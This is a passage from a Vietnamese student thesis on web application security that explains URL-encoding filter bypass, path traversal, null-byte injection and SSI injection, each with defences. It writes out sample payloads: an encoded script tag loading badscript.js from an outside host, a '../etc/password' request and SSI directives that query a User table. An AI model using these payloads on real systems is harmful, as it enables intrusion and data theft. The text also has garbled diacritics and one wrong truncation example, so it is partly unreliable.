KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

Một phần của tài liệu đồ án tốt nghiệp nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (Trang 124 - 131)

III. Tấn cơng dựa vào kí tự rỗng IV. Ngơn ngữ trình chủ

Chương 10: Một số kĩ thuật tấn cơng khác

CHƯƠNG 10: MỘT SỐ KĨ THUẬT TẤN CƠNG KHÁC



I. MÃ HĨA URL (URL Encoding)

I.1. Khái niệm

Theo RFC 1738 định nghĩa URL và RFC 2369 cho URIs, những kí tự được giới hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1738, 2369 những kí tự chữ số, kí tự đặc biệt như “ $-_.+!*’() ” và một số kí tự dành riêng là khơng bị mã hố trên URL hay URIs. Cịn những kí tự đặc biệt khác thì được mã hóa như khoảng trắng, < > ”…Sau khi trình chủ nhận được dữ liệu này, trình chủ sẽ tự động giải mã để thao tác như bình thường.

Vậy hacker có thể lợi dụng được gì trong URL mã hóa này.

Những nhà phát triển ứng dụng có thể sẽ thiết kế ứng dụng để kiểm tra dữ liệu nhập vào của người dùng có hợp lệ hay khơng, những kí tự đặc biệc như < > trong thẻ script thường được dùng trong những kĩ thuật tấn công như XSS sẽ bị lọai bỏ Vậy để hợp thức hóa nội dung dữ liệu cần nhập, hacker thay vì nhập trực tiếp kí tự đặc biệt vào ơ nhập thì họ có thể nhập những kí tự đã được mã hố theo chuẩn RFC 1738, RFC 2369. Như vậy bằng cách đó, hacker có thể dễ dàng vượt qua kiểm soát này.

Chương 10: Một số kĩ thuật tấn cơng khác

dụ 10.I.1-1:

http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt p %3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e Biến mydata sẽ mang nội dung:

<script src="http://www.yourserver.com/badscript.js"></script>

I.2. Một số biện pháp phịng chống

• Tránh sử dụng phương thức GET vì nếu dùng GET, dữ liệu dễ dàng được thêm vào URL. Vì thế, sử dụng phương thức POST bất cứ khi nào có thể.

• Trong trường hợp URL bắt buộc được sử dụng để chuyển dữ liệu lên trình chủ, cần giới hạn kiểu dữ liệu, nên kiểm tra dữ liệu trong ứng dụng trước khi sử dụng.

• Khơng nên sử dụng ngôn ngữ máy khách để kiểm tra tính đúng đắn của dữ liệu.

II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

II.1. Khái niệm

Nhiều ứng dụng sử dụng tập tin hệ thống của trình chủ trong “lớp trình bày” để hiển thị thông tin lưu trử tạm thời. Những tập tin này bao gồm những tập tin hình ảnh , tập tin HTML, hay những ứng dụng CGI. Thư mục WWW-ROOT là một thư mục gốc ảo bên trong trình chủ, nơi mà được truy xuất bởi trình duyệt. Ứng dụng lưu trữ thơng tin bên trong hoặc bên ngịai WWW-ROOT.

Nếu ứng dụng khơng kiểm tra những kí tự đặc biệt, thường được sử dụng trong đường dẫn như “/” thì có thể rằng ứng dụng đã có một lỗ hổng cho kiểu tấn cơng

Chương 10: Một số kĩ thuật tấn công khác

vượt đường dẫn. Hacker có thể u cầu trình chủ trả về kết quả là nội dung những tập tin vật lí như /etc/password…

Tóm l ạ i:

Kiểu tấn công này cũng dựa vào sự lỏng lẻo trong quá trình kiểm tra dữ liệu trên URL, cookie, HTTP Header yêu cầu. Lợi dụng quyền truy xuất một tập tin của ứng dụng, nhờ đó hacker có thể xem được file lưu trữ trên hệ thống.

d ụ 10.II.1-1:

http://maydich.com/show.asp?result= “dangnhapthanhcong.asp”

nhưng nếu hacker thay đổi tên tập tin cần truy xuất như sau:

http://maydich.com/show.asp?result= ../etc/password

như vậy hacker có thể xem nội dung file password được lưu trữ trong hệ thống.

II.2. Một số biện pháp phịng chống

Việc phịng chống kiểu tấn cơng vượt đường dẫn là một thử thách lớn cho những nhà ứng dụng trong một hệ thống phân tán. Tuy nhiên, cách phòng chống tốt nhất vẫn là Ứng dụng cần kiểm tra việc truy xuất file trước khi xuất kết quả cho trình duyệt.

Chương 10: Một số kĩ thuật tấn công khác

III. TẤN CƠNG DỰA VÀO KÍ TỰ RỖNG

III.1. Khái niệm

Nhiều ứng dụng Web thường sử dụng ngôn ngữ lập trình như C, Java để tạo modul xử lý những công việc như thao tác trên những dữ liệu nhập vào từ người dùng. Lợi dụng kí tự kết thúc chuỗi mà hacker sẽ thêm vào một chuỗi nhập để đánh lừa ứng dụng.

d ụ 10.III.1-1:

Giả sử hacker đưa vào một chuỗi “AA\0BB” thì qua chương trình lập trình bằng ngơn ngữ C, chuỗi này có thể bị cắt ngắn thành AAAA vì C xem \0 là dấu hiệu kết thúc chuỗi. Hacker có thể lợi dụng điều này để vượt qua các khâu kiểm tra nội dung chuỗi.

III.2. Một số biện pháp phòng chống

Cách duy nhất để phịng chống trường hợp này đó là chỉ chấp nhận những dữ liệu hợp lệ. Những kí tự như “\” phải bị lọai bỏ trước khi ứng dụng sử dụng chúng.

IV. NGƠN NGỮ PHÍA TRÌNH CHỦ

IV.1. Khái niệm

SSI là đoạn mã được nhúng vào trong trang Web để yêu cầu trình chủ cung cấp thơng tin ở một điểm nào đó trong trang.

Chương 10: Một số kĩ thuật tấn cơng khác

<!--#include file="test.asp"-->

Dòng lệnh trên nhúng nội dung file “test.asp” vào trong trang Web.

Tuy nhiên, SSI không phải được hỗ trợ trong hầu hết các trình chủ, Apache và IIS là 2 trình chủ hỗ trợ SSI. Trang Web có sử dụng SSI thường được lưu dưới dạng .shtml hoặc .stm (là phần mở rộng của .html hay .htm) để báo hiệu cho trình chủ biết trang này có sử dụng SSI để tiết kiệm thời gian xử lí cho trình chủ (khơng mất thời gian tìm kiếm).

Q trình thực hiện xử lí một trang Web u cầu:

Nếu khơng có bất kì chỉ thị nào khác, trình chủ chỉ gửi nội dung trang Web cho trình duyệt nhưng với một SSI, thì cơng việc tuần tự theo những bước như sau:

• Trình chủ nhận dữ liệu và phân tích dữ liệu (tìm kiếm và phân loại những câu lệnh đặc biệt) để chỉ thị thực hiện

• Dưa trên những câu lệnh mà trình chủ tìm thấy, trình chủ thực thi những câu lệnh đó để trả kết quả cho trình duyệt.

• Trả kết quả về cho trình duyệt

Có 3 khả năng thực hiện:

• Nhận thơng tin từ một file và chèn vào trong trang

• Gán giá trị cho một số biến

• Gọi chương trình CGI

Chương 10: Một số kĩ thuật tấn công khác

IV.2. Cách tấn công

Hacker lợi dụng những ơ nhập để chèn thêm vào đó nội dung một câu lệnh SSI. Ví

d ụ 10.IV.2-1:

<!--#jdbc select="SELECT * FROM User" name="result" driver="org.gjt.mm.mysql.Driver"

url="jdbc:mysql://localhost:3306/project" -->

Thiết lập câu lệnh Select

<!--#jdbc name="result" next="true" -->

Câu lệnh này di chuyển con trỏ đến dòng đầu tiên trong tập tin.

<!--#jdbc name="result" column="1" -->

Hiển thị nội dung dòng đầu tiên.

IV.3. Biện pháp phòng chống

Với người quản trị, cấu hình lại trình chủ sao cho trình chủ khơng hỗ trợ SSI. Với người lập trình, kiểm tra kĩ nội dung dữ liệu gửi từ người dùng. Loại bỏ những kí tự như < > # -- !…Tuy nhiên điều này nên được thực hiện tại trình chủ, khơng nên kiểm tra tính đúng đắn của dữ liệu bằng ngơn ngữ phía trình khách, vì khả năng thay đổi nội dung của trang Web.

Chương 11: Tổng kết q trình tấn cơng của Hacker

Chương 11

TỔNG KẾT Q TRÌNH TẤN CƠNG CỦA HACKER

Nội dung:

I. Thu thập thơng tin ở mức hạ tầng của mục tiêuII. Khảo sát ứng dụng Web II. Khảo sát ứng dụng Web

Một phần của tài liệu đồ án tốt nghiệp nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (Trang 124 - 131)

Tải bản đầy đủ (DOCX)

(173 trang)
w